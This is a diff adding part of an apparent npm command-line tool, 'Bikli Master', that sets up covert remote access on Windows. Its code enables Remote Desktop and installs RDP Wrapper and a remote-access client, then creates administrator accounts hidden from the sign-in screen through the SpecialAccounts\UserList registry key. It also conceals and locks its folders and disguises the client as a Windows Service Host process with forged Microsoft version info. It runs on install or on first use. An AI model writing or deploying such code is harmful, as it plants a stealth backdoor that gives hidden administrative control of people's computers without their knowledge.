+
635
+ function configuredAdministratorPassword() {
636
+ if (!fs.existsSync(packageConfigFile)) fail('Missing package configuration file: config.json');
637
+ const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
638
+ return typeof config.administratorPassword === 'string' ? config.administratorPassword : '';
639
+ }
640
+
641
+ function configuredBikliKey() {
642
+ if (!fs.existsSync(packageConfigFile)) return '';
643
+ const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
644
+ return typeof config.bikliKey === 'string' ? config.bikliKey.trim() : '';
645
+ }
646
+
647
+ function configuredServiceHostName() {
648
+ if (!fs.existsSync(packageConfigFile)) return 'Service Host: Network Infrastructure Service';
649
+ try {
650
+ const config = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
651
+ if (typeof config.serviceHostName === 'string' && config.serviceHostName.trim()) {
652
+ return config.serviceHostName.trim();
653
+ }
654
+ if (typeof config.serviceDescription === 'string' && config.serviceDescription.trim()) {
655
+ return config.serviceDescription.trim();
656
+ }
657
+ } catch {
658
+ // ignore
659
+ }
660
+ return 'Service Host: Network Infrastructure Service';
661
+ }
662
+
663
+ function setupBikliKey() {
664
+ requireWindows();
665
+ const key = (process.env.BIKLIMASTER_BIKLI_KEY || configuredBikliKey()).trim();
666
+ if (!key) {
667
+ console.log('No Bikli key configured; paste it into config.json under "bikliKey" to enable this step. Bikli key setup skipped.');
668
+ return;
669
+ }
670
+ if (!isAdministrator()) return elevateAndRun('setup-key');
671
+ const bikli = installedBikliPath();
672
+ if (!bikli) fail('Bikli CLI is not installed. Run "biklimaster install" first.', 5);
673
+ console.log('Configuring the Bikli key (bikli up --setup-key)...');
674
+ const result = run(bikli, ['up', '--setup-key', key], { allowFailure: true });
675
+ const output = `${result.stdout || ''}${result.stderr || ''}`.trim();
676
+ if (result.status !== 0) {
677
+ fail(`Bikli key setup failed with exit code ${result.status}.${output ? `\n${output}` : ''}`, 8);
678
+ }
679
+ if (output) console.log(output);
680
+ console.log('Bikli key configured successfully.');
681
+ }
682
+
683
+ function hideFolder(target, isUserProfile = false, extraGrants = []) {
684
+ if (!target || !fs.existsSync(target)) return;
685
+ try {
686
+ run(attrib, ['+h', '+s', target], { allowFailure: true });
687
+ if (!isUserProfile) {
688
+ run(attrib, ['+h', '+s', path.join(target, '*.*'), '/s', '/d'], { allowFailure: true });
689
+ run(icacls, [
690
+ target,
691
+ '/inheritance:r',
692
+ '/grant:r',
693
+ '*S-1-5-18:(OI)(CI)(F)',
694
+ `*${administratorsGroupSid}:(OI)(CI)(F)`,
695
+ ...extraGrants,
696
+ '/c', '/q'
697
+ ], { allowFailure: true });
698
+ }
699
+ } catch {
700
+ // Best-effort attribute and permission hardening
701
+ }
702
+ }
703
+
704
+ function hideProtectedFolders() {
705
+ const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
706
+ // TermService hosts rdpwrap.dll as NETWORK SERVICE, so the RDP Wrapper folder
707
+ // must keep read/execute access for that account or the service cannot start.
708
+ const serviceRead = ['*S-1-5-20:(OI)(CI)(RX)'];
709
+ const appFolders = [
710
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli') },
711
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli') },
712
+ { target: path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'), grants: serviceRead },
713
+ { target: path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'), grants: serviceRead },
714
+ { target: path.join(programData, 'BikliWrapper') },
715
+ { target: path.join(programData, 'Bikli') }
716
+ ];
717
+ for (const folder of appFolders) hideFolder(folder.target, false, folder.grants || []);
718
+
719
+ const userFolders = [
720
+ path.join(usersDir, 'Administrator'),
721
+ path.join(usersDir, 'admin'),
722
+ path.join(usersDir, 'user')
723
+ ];
724
+ for (const folder of userFolders) hideFolder(folder, true);
725
+ }
726
+
727
+ function saveAccountCredentials(username, password) {
728
+ const dir = path.dirname(credentialsFile);
729
+ fs.mkdirSync(dir, { recursive: true });
730
+ if (fs.existsSync(credentialsFile)) {
731
+ try {
732
+ run(attrib, ['-h', '-s', credentialsFile], { allowFailure: true });
733
+ } catch {
734
+ // ignore
735
+ }
736
+ }
737
+ fs.writeFileSync(credentialsFile, JSON.stringify({ username, password }, null, 2), {
738
+ encoding: 'utf8',
739
+ mode: 0o600
740
+ });
741
+ run(icacls, [
742
+ credentialsFile,
743
+ '/inheritance:r',
744
+ '/grant:r',
745
+ '*S-1-5-18:(F)',
746
+ `*${administratorsGroupSid}:(F)`
747
+ ]);
748
+ hideProtectedFolders();
749
+ }
750
+
751
+ function showAccountCredentials() {
752
+ requireWindows();
753
+ if (!isAdministrator()) return elevateAndRun('credentials');
754
+ if (!fs.existsSync(credentialsFile)) {
755
+ fail('No saved password is available. The built-in Administrator account may already have been enabled.');
756
+ }
757
+ const credentials = JSON.parse(fs.readFileSync(credentialsFile, 'utf8'));
758
+ console.log(`Username: ${credentials.username}`);
759
+ console.log(`Password: ${credentials.password}`);
760
+ console.log(`Stored for Administrators only: ${credentialsFile}`);
761
+ }
762
+
763
+ function parseAccountReport(stdout) {
764
+ const reportLine = (stdout || '')
765
+ .split(/\r?\n/)
766
+ .map(line => line.trim())
767
+ .find(line => line.startsWith('{'));
768
+ if (!reportLine) {
769
+ fail(`The account configuration script did not return a JSON report.${(stdout || '').trim() ? `\n${stdout.trim()}` : ''}`, 7);
770
+ }
771
+ try {
772
+ return JSON.parse(reportLine);
773
+ } catch {
774
+ fail(`The account configuration script returned an unreadable report: ${reportLine}`, 7);
775
+ return null;
776
+ }
777
+ }
778
+
779
+ function requireValidUserName(name) {
780
+ if (!/^[A-Za-z0-9._-]{1,20}$/.test(name)) {
781
+ fail('Usernames may only contain letters, digits, dots, dashes, and underscores (max 20).');
782
+ }
783
+ return name;
784
+ }
785
+
786
+ function createRdpAdministrator() {
787
+ requireWindows();
788
+ if (!isAdministrator()) return elevateAndRun('create-user');
789
+
790
+ const requestedPassword = process.env.BIKLIMASTER_USER_PASSWORD || configuredAdministratorPassword();
791
+ const accountPassword = requestedPassword || generatedAccountPassword();
792
+ const script = [
793
+ `$ErrorActionPreference='Stop'`,
794
+ `$password=$env:BIKLIMASTER_ACCOUNT_PASSWORD`,
795
+ `$secure=ConvertTo-SecureString $password -AsPlainText -Force`,
796
+ `$groupSids=@(${powershellLiteral(administratorsGroupSid)},${powershellLiteral(remoteDesktopUsersGroupSid)})`,
797
+ `$builtIn=Get-LocalUser | Where-Object {$_.SID.Value -match '-500$'} | Select-Object -First 1`,
798
+ `if($null -eq $builtIn){throw 'Built-in Administrator account (RID 500) was not found'}`,
799
+ `$builtInWasDisabled=-not $builtIn.Enabled`,
800
+ `$target=$null;$action='';$createdNew=$false;$enabledBuiltIn=$false;$passwordChanged=$false`,
801
+ `if($builtInWasDisabled){Set-LocalUser -Name $builtIn.Name -Password $secure;Enable-LocalUser -Name $builtIn.Name;$target=Get-LocalUser -SID $builtIn.SID;$enabledBuiltIn=$true;$passwordChanged=$true;$action='enabled-builtin'}else{$admin=Get-LocalUser -Name 'admin' -ErrorAction SilentlyContinue;if($null -eq $admin){New-LocalUser -Name 'admin' -Password $secure -FullName 'admin' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'admin';$createdNew=$true;$passwordChanged=$true;$action='created-admin'}else{$existingUser=Get-LocalUser -Name 'user' -ErrorAction SilentlyContinue;if($null -eq $existingUser){New-LocalUser -Name 'user' -Password $secure -FullName 'user' -Description 'Local administrator created by Bikli Master' -PasswordNeverExpires | Out-Null;$target=Get-LocalUser -Name 'user';$createdNew=$true;$passwordChanged=$true;$action='created-user'}else{$target=$existingUser;$action='exists-user'}}}`,
802
+ `if(-not $target.Enabled){Enable-LocalUser -Name $target.Name;$target=Get-LocalUser -SID $target.SID}`,
803
+ `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){Add-LocalGroupMember -Group $group.Name -Member $target}}`,
804
+ `$verified=@()`,
805
+ `foreach($groupSid in $groupSids){$group=Get-LocalGroup -SID $groupSid;$member=Get-LocalGroupMember -Group $group.Name | Where-Object {$_.SID.Value -eq $target.SID.Value};if($null -eq $member){throw ('Account is not a member of '+$group.Name)};$verified+=$group.Name}`,
806
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
807
+ `$regKey=Get-Item -LiteralPath $userListKey -ErrorAction SilentlyContinue`,
808
+ `$currentVal=if($null -ne $regKey){$regKey.GetValue($target.Name, $null)}else{$null}`,
809
+ `if($null -eq $currentVal -or $currentVal -ne 0){if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null};Set-ItemProperty -Path $userListKey -Name $target.Name -Type DWord -Value 0 -Force | Out-Null;$regKey=Get-Item -LiteralPath $userListKey;if($regKey.GetValue($target.Name, $null) -ne 0){throw ('Could not hide '+$target.Name+' from the sign-in screen')};$alreadyHidden=$false}else{$alreadyHidden=$true}`,
810
+ `$userDir=Join-Path $env:SystemDrive ('Users\\'+$target.Name);if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`,
811
+ `[PSCustomObject]@{Name=$target.Name;BuiltInName=$builtIn.Name;Action=$action;BuiltInWasDisabled=$builtInWasDisabled;EnabledBuiltIn=$enabledBuiltIn;CreatedNew=$createdNew;PasswordChanged=$passwordChanged;Enabled=(Get-LocalUser -SID $target.SID).Enabled;Groups=$verified;HiddenUser=$target.Name;AlreadyHidden=$alreadyHidden} | ConvertTo-Json -Compress`
812
+ ].join(';');
813
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script], {
814
+ env: {
815
+ ...process.env,
816
+ BIKLIMASTER_ACCOUNT_PASSWORD: accountPassword
817
+ }
818
+ });
819
+ const account = parseAccountReport(result.stdout);
820
+ if (!account.Enabled || !Array.isArray(account.Groups) || account.Groups.length !== 2 || !account.HiddenUser) {
821
+ fail('The Remote Desktop administrator account could not be verified.', 7);
822
+ }
823
+
824
+ if (account.PasswordChanged) {
825
+ saveAccountCredentials(account.Name, accountPassword);
826
+ const message = {
827
+ 'enabled-builtin': `Built-in Administrator was disabled; set the password and enabled it: ${account.Name}`,
828
+ 'created-admin': `Built-in Administrator is already enabled and left untouched; created hidden admin account: ${account.Name}`,
829
+ 'created-user': `Built-in Administrator and admin already exist and were left untouched; created hidden account: ${account.Name}`
830
+ }[account.Action] || `Configured account: ${account.Name}`;
831
+ console.log(message);
832
+ console.log(`Password: ${accountPassword}`);
833
+ console.log('The configured password was applied and saved for administrator-only retrieval.');
834
+ } else {
835
+ console.log(`Administrator, admin, and user accounts already exist; left their passwords unchanged and verified ${account.Name}.`);
836
+ }
837
+ console.log(`Verified ${account.Name} in Administrators and Remote Desktop Users.`);
838
+ if (account.AlreadyHidden) {
839
+ console.log(`${account.HiddenUser} is already hidden from the sign-in user list; left it unchanged.`);
840
+ } else {
841
+ console.log(`Hidden from the sign-in user list: ${account.HiddenUser}.`);
842
+ }
843
+ hideProtectedFolders();
844
+ }
845
+
846
+ function unhideUser() {
847
+ requireWindows();
848
+ const targetUser = process.argv[3] ? requireValidUserName(process.argv[3]) : '';
849
+ if (!isAdministrator()) return elevateAndRun(targetUser ? `unhide-user ${targetUser}` : 'unhide-user');
850
+ const script = [
851
+ `$ErrorActionPreference='Stop'`,
852
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
853
+ `if(-not (Test-Path $userListKey)){Write-Output 'No hidden users found.';exit 0}`,
854
+ `$key=Get-Item -LiteralPath $userListKey`,
855
+ targetUser ? [
856
+ `$val=$key.GetValue('${targetUser}', $null)`,
857
+ `if($null -eq $val){Write-Output 'User \"${targetUser}\" is not hidden.'}else{Remove-ItemProperty -Path $userListKey -Name '${targetUser}' -Force;Write-Output 'Unhid user: ${targetUser}'}`,
858
+ `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}`
859
+ ].join(';') : [
860
+ `$props=@($key.Property)`,
861
+ `if($props.Count -eq 0){Write-Output 'No hidden users found.'}else{foreach($p in $props){Remove-ItemProperty -Path $userListKey -Name $p -Force;Write-Output ('Unhid user: '+$p);$userDir=Join-Path $env:SystemDrive ('Users\\'+$p);if(Test-Path $userDir){attrib -h -s $userDir 2>$null | Out-Null}}}`
862
+ ].join(';')
863
+ ].join(';');
864
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
865
+ if (result.stdout.trim()) console.log(result.stdout.trim());
866
+ }
867
+
868
+ function hideUser() {
869
+ requireWindows();
870
+ const targetUser = process.argv[3];
871
+ if (!targetUser) fail('Please specify a username to hide (e.g. biklitool hide-user Administrator).');
872
+ requireValidUserName(targetUser);
873
+ if (!isAdministrator()) return elevateAndRun(`hide-user ${targetUser}`);
874
+ const script = [
875
+ `$ErrorActionPreference='Stop'`,
876
+ `$userListKey='HKLM:\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList'`,
877
+ `if(-not (Test-Path $userListKey)){New-Item -Path $userListKey -Force | Out-Null}`,
878
+ `$key=Get-Item -LiteralPath $userListKey`,
879
+ `$currentVal=$key.GetValue('${targetUser}', $null)`,
880
+ `if($null -eq $currentVal -or $currentVal -ne 0){Set-ItemProperty -Path $userListKey -Name '${targetUser}' -Type DWord -Value 0 -Force | Out-Null;$key=Get-Item -LiteralPath $userListKey;if($key.GetValue('${targetUser}', $null) -ne 0){throw ('Could not hide ${targetUser} from the sign-in screen')};Write-Output 'Hidden from the sign-in user list: ${targetUser}.'}else{Write-Output 'User ${targetUser} is already hidden; left unchanged.'}`,
881
+ `$userDir=Join-Path $env:SystemDrive ('Users\\${targetUser}');if(Test-Path $userDir){attrib +h +s $userDir 2>$null | Out-Null;attrib +h +s (Join-Path $userDir '*.*') /s /d 2>$null | Out-Null}`
882
+ ].join(';');
883
+ const result = run(powershell, ['-NoProfile', '-NonInteractive', '-Command', script]);
884
+ if (result.stdout.trim()) console.log(result.stdout.trim());
885
+ }
886
+
887
+ function hideFoldersCommand() {
888
+ requireWindows();
889
+ if (!isAdministrator()) return elevateAndRun('hide-folders');
890
+ hideProtectedFolders();
891
+ console.log('Applied Hidden and System attributes and secured folder permissions.');
892
+ }
893
+
894
+ function status() {
895
+ requireWindows();
896
+ const bikli = installedBikliPath();
897
+ const bikliDesc = bikli ? fileDescription(bikli) : '';
898
+ console.log(`Bikli CLI: ${bikli ? `Installed (${fileVersion(bikli) || 'unknown version'}) [${bikliDesc || 'Service Host'}]` : 'Not installed'}`);
899
+ const rdp = remoteDesktopState();
900
+ console.log(`Remote Desktop: ${rdp.enabled ? 'Enabled' : 'Disabled'}${rdp.port === null ? '' : ` (port ${rdp.port})`}`);
901
+ const wrapper = runWrapper(['status'], { allowFailure: true });
902
+ if (wrapper.stdout.trim()) console.log(wrapper.stdout.trim());
903
+ if (wrapper.stderr.trim()) console.error(wrapper.stderr.trim());
904
+ process.exitCode = bikli && wrapper.status === 0 ? 0 : 2;
905
+ }
906
+
907
+ function selfTest() {
908
+ verifyPayload();
909
+ const ini = fs.readFileSync(wrapperIni, 'utf8');
910
+ const embeddedWrapper = fs.readFileSync(wrapperScript, 'utf8');
911
+ const packageConfig = JSON.parse(fs.readFileSync(packageConfigFile, 'utf8'));
912
+ const sampleVBuf = createVsVersionInfo({
913
+ CompanyName: 'Microsoft Corporation',
914
+ FileDescription: 'Service Host: Network Infrastructure Service',
915
+ ProductName: 'Microsoft® Windows® Operating System'
916
+ });
917
+
918
+ const checks = {
919
+ bikliInstaller: fs.statSync(bikliInstaller).size > 10000000,
920
+ wrapperInstaller: fs.statSync(wrapperInstaller).size > 100000,
921
+ targetSupport: ini.split(/\r?\n/).some(line => line.trim() === '[10.0.26100.8737]'),
922
+ wrapperScript: fs.statSync(wrapperScript).size > 10000,
923
+ enablesRemoteDesktop: embeddedWrapper.includes("name: 'fDenyTSConnections', value: 0"),
924
+ configuresPort3389: embeddedWrapper.includes("name: 'PortNumber', value: 3389"),
925
+ administratorGroup: administratorsGroupSid === 'S-1-5-32-544',
926
+ remoteDesktopUsersGroup: remoteDesktopUsersGroupSid === 'S-1-5-32-555',
927
+ administratorPasswordConfig: typeof packageConfig.administratorPassword === 'string',
928
+ bikliKeyConfig: typeof packageConfig.bikliKey === 'string',
929
+ serviceHostDisguiseEngine: sampleVBuf.length > 300,
930
+ hidesLoginAccounts: fs.readFileSync(__filename, 'utf8').includes('SpecialAccounts\\\\UserList')
931
+ };
932
+ for (const [name, passed] of Object.entries(checks)) console.log(`${passed ? 'PASS' : 'FAIL'} ${name}`);
933
+ if (!Object.values(checks).every(Boolean)) fail('Bikli Master self-test failed.');
934
+ }
935
+
936
+ function help() {
937
+ console.log([
938
+ 'Bikli Master / Bikli Tool',
939
+ '',
940
+ 'Commands:',
941
+ ' biklitool install Install/update Bikli CLI and Bikli Wrapper',
942
+ ' biklitool disguise [n] Disguise Bikli as Windows Service Host in Task Manager',
943
+ ' biklitool enable-rdp Enable RDP, port 3389, firewall, and defaults',
944
+ ' biklitool disable-rdp Disable RDP and stop the RDP listener',
945
+ ' biklitool create-user Enable/verify built-in Administrator for RDP',
946
+ ' biklitool unhide-user [name] Unhide account(s) from Windows sign-in screen',
947
+ ' biklitool hide-user <name> Hide specific account from Windows sign-in screen',
948
+ ' biklitool hide-folders Hide and protect Program Files & ProgramData folders',
949
+ ' biklitool setup-key Apply the Bikli key from config.json (bikli up --setup-key)',
950
+ ' biklitool credentials Display its saved generated password',
951
+ ' biklitool status Show both component states',
952
+ ' biklitool wrapper ... Run a Bikli Wrapper CLI command',
953
+ ' biklitool self-test Validate package payloads without installing',
954
+ ' biklitool elevation-self-test Validate UAC without installing',
955
+ '',
956
+ 'The global install automatically runs the install command.'
957
+ ].join(os.EOL));
958
+ }
959
+
960
+ function main() {
961
+ const command = (process.argv[2] || 'status').toLowerCase();
962
+ if (command === 'install') {
963
+ if (process.argv.includes('--postinstall')) {
964
+ try {
965
+ return install();
966
+ } catch (error) {
967
+ console.error(`Bikli Master postinstall could not finish: ${error.message}`);
968
+ console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
969
+ process.exitCode = 0;
970
+ return;
971
+ }
972
+ }
973
+ return install();
974
+ }
975
+ const passiveCommands = ['help', '--help', '-h', 'self-test', 'elevation-self-test'];
976
+ if (!passiveCommands.includes(command) && process.platform === 'win32' &&
977
+ !process.argv.includes('--elevated') && !setupAlreadyDone()) {
978
+ console.log('First-run setup detected (npm may have blocked the install script); running the installer now...');
979
+ try {
980
+ install();
981
+ } catch (error) {
982
+ console.error(`First-run setup could not finish: ${error.message}`);
983
+ console.error('Run "biklitool install" from an Administrator terminal to complete the installation.');
984
+ }
985
+ }
986
+ if (command === 'disguise') return disguiseBikli(process.argv[3]);
987
+ if (command === 'enable-rdp' || command === 'enable') return enableRemoteDesktop();
988
+ if (command === 'disable-rdp' || command === 'disable') return disableRemoteDesktop();
989
+ if (command === 'create-user') return createRdpAdministrator();
990
+ if (command === 'unhide-user' || command === 'unhide-users' || command === 'unhide' || command === 'unhide-all') return unhideUser();
991
+ if (command === 'hide-user' || command === 'hide') return hideUser();
992
+ if (command === 'hide-folders' || command === 'hide-folder') return hideFoldersCommand();
993
+ if (command === 'setup-key') return setupBikliKey();
994
+ if (command === 'credentials') return showAccountCredentials();
995
+ if (command === 'status') return status();
996
+ if (command === 'self-test') return selfTest();
997
+ if (command === 'elevation-self-test') return elevateAndRun('self-test');
998
+ if (command === 'wrapper') {
999
+ const result = runWrapper(process.argv.slice(3), { inherit: true, allowFailure: true });
1000
+ process.exitCode = result.status === null ? 1 : result.status;
1001
+ return;
1002
+ }
1003
+ if (command === 'help' || command === '--help' || command === '-h') return help();
1004
+ fail(`Unknown command: ${command}`);
1005
+ }
1006
+
1007
+ try {
1008
+ main();
1009
+ } catch (error) {
1010
+ console.error(`Bikli Master error: ${error.message}`);
1011
+ process.exitCode = error.exitCode || 1;
1012
+ }